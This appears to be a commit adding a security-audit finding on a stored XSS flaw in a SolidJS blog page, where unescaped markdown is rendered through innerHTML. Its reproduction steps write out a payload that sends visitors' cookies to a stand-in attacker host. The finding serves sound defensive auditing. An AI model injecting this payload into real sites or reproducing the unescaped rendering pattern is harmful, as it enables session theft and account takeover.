security sweep

This commit is contained in:
2026-05-29 09:03:47 -04:00
parent 469c28fa64
commit 3b29de3234
60 changed files with 7148 additions and 413 deletions

View File

@@ -0,0 +1,61 @@
Phase: 8
Sequence: 001
Slug: xss-in-innerhtml
Verdict: VALID
Rationale: Stored XSS confirmed via unsanitized markdown-to-HTML conversion with innerHTML directive; payload creation requires admin access but execution is automatically triggered by any blog viewer
Severity-Original: high
Severity: high
PoC-Status: pending
Pre-FP-Flag: none
Debate: piolium/attack-surface/balanced-chamber-summary.md
## Summary
The blog post rendering in `web/src/routes/blog/[slug].tsx` uses a custom `contentToHtml()` function that performs raw string concatenation without HTML escaping, combined with SolidJS's `innerHTML` directive that bypasses framework-level escaping. This creates a stored XSS vulnerability: any blog post containing HTML/JavaScript tags will execute in the context of every viewer's browser.
## Location
- `web/src/routes/blog/[slug].tsx` lines 1446 (contentToHtml function)
- `web/src/routes/blog/[slug].tsx` line 121 (innerHTML binding)
## Attacker Control
An admin user (or attacker with admin access via session theft, SQL injection, or credential compromise) can create a blog post containing malicious HTML/JavaScript. The payload is stored in the `blogPosts.content` column and rendered on every page view.
## Trust Boundary Crossed
Server-side data (blog post content) → Browser execution context (innerHTML). This crosses the server-to-client trust boundary, allowing server-stored data to execute as JavaScript in the victim's browser.
## Impact
Stored XSS affecting all blog post viewers. Attackers can:
- Steal session cookies and JWT tokens
- Perform actions on behalf of victims (account takeover)
- Redirect users to phishing pages
- Deface blog content
## Evidence
```typescript
// contentToHtml() — no HTML escaping
function contentToHtml(markdown: string): string {
const lines = markdown.split("\n");
let html = "";
for (const line of lines) {
if (line.startsWith("## ")) {
html += `<h2 class="...">${line.slice(3)}</h2>`; // No escaping
} else {
html += `<p class="...">${line}</p>`; // No escaping
}
}
return html;
}
// Line 121: innerHTML={contentHtml()} — bypasses SolidJS escaping
```
## Reproduction Steps
1. Admin creates blog post with content: `<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">`
2. Any user visits the blog post page
3. The `contentToHtml()` function renders the content without escaping
4. The `innerHTML` directive renders the HTML as-is
5. The `onerror` handler executes, sending the victim's cookie to the attacker's server
## Defense Search Results
- CSP header includes `'unsafe-inline'` in script-src — does not prevent inline script execution
- CSP header includes `'unsafe-eval'` in script-src — further weakens CSP
- SolidJS default escaping is bypassed by the `innerHTML` directive
- No DOMPurify or similar sanitization library used